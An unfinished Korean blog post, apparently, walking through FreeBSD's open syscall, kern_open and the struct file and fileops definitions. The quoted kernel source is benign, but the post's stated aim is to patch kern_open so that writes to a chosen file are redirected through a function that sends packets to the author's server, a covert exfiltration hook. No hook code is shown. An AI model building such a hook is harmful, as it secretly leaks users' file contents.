소스가 매우 방대하기 때문에 어느 구조체가 어느 파일에 정의되어 있는지 찾는 것은 매우 어렵다. 그래서 이를 위해서 http://fxr.watson.org 을 이용하였다. 이 홈페이지에는 각 심볼이 어디에 정의되어 있고 어디에서 참조하는 지 매우 잘 정리되어있다.
kern/vfs_syscalls.c 안에 시스템 콜 open이 구현되어 있다.

1000 open(td, uap)
1001         struct thread *td;
1002         register struct open_args /* {
1003                 char *path;
1004                 int flags;
1005                 int mode;
1006         } */ *uap;
1007 {
1008
1009         return kern_open(td, uap->path, UIO_USERSPACE, uap->flags, uap->mode);
1010 }

여기에서 내부적으로 kern_open을 호출하는 것을 알 수 있다. 같은 파일안에 kern_open이 구현되어 있다.

1012 int
1013 kern_open(struct thread *td, char *path, enum uio_seg pathseg, int flags,
1014     int mode)
1015 {
1016         struct proc *p = td->td_proc;
1017         struct filedesc *fdp = p->p_fd;
1018         struct file *fp;
1019         struct vnode *vp;
1020         struct vattr vat;
1021         struct mount *mp;
1022         int cmode;
1023         struct file *nfp;
1024         int type, indx, error;

여기서 노랗게 칠한 변수가 커널에서 파일을 관리하는 구조체이다. sys/file.h에 들어있다.

109 struct file {
110         LIST_ENTRY(file) f_list;/* (fl) list of active files */
111         short   f_type;         /* descriptor type */
112         void    *f_data;        /* file descriptor specific data */
113         u_int   f_flag;         /* see fcntl.h */
114         struct mtx      *f_mtxp;        /* mutex to protect data */
115         struct fileops *f_ops;  /* File operations */
116         struct  ucred *f_cred;  /* credentials associated with descriptor */
117         int     f_count;        /* (f) reference count */
118         struct vnode *f_vnode;  /* NULL or applicable vnode */


여기에서, f_ops는 read, write, create와 같은 파일 다루는 함수의 포인터를 담고있는 스트럭처인 fileops를 가리키는 포인터이다. 여기에 들어있는 값을 변형시킴으로써, 우리의 임무를 완수할 수 있다.

 83 struct fileops {
 84         fo_rdwr_t       *fo_read;
 85         fo_rdwr_t       *fo_write;
 86         fo_ioctl_t      *fo_ioctl;
 87         fo_poll_t       *fo_poll;
 88         fo_kqfilter_t   *fo_kqfilter;
 89         fo_stat_t       *fo_stat;
 90         fo_close_t      *fo_close;
 91         fo_flags_t      fo_flags;       /* DFLAG_* below */
 92 };

fileops는 같은 파일 안에 위와 같이 정의되어 있다. 여기서 관심을 가져야 할 부분은 fo_rdwr_t이다. 이것은 sys/file.h에 정의되어 있다.
 69 typedef int fo_rdwr_t(struct file *fp, struct uio *uio,
 70                     struct ucred *active_cred, int flags,
 71                     struct thread *td);

필요한 정보는 대강 모인 것 같다. 이제 우리가 할 일은, kern_open함수를 수정해서 path가 관리해야하는 파일을 가리킨다면, open시에 생성된 파일 구조체를 수정해서, 즉 fp->f_ops->fo_write에 우리가 특별히 제작한 서버로 패킷을 보내는 기능을 하는 함수의 주소를 넣도록 하는 것이다. 그럼 이제 이걸 어떻게 수정할 수 있을 지 알아보자.

fp 구조체는 위에서 등장한 kern_open 함수에서 초기화 된다. 초기화 되는 과정 중, 특별히 눈여겨 볼, fp->f_ops 변수가 초기화되는 부분을 살펴보자.


작성중입니다..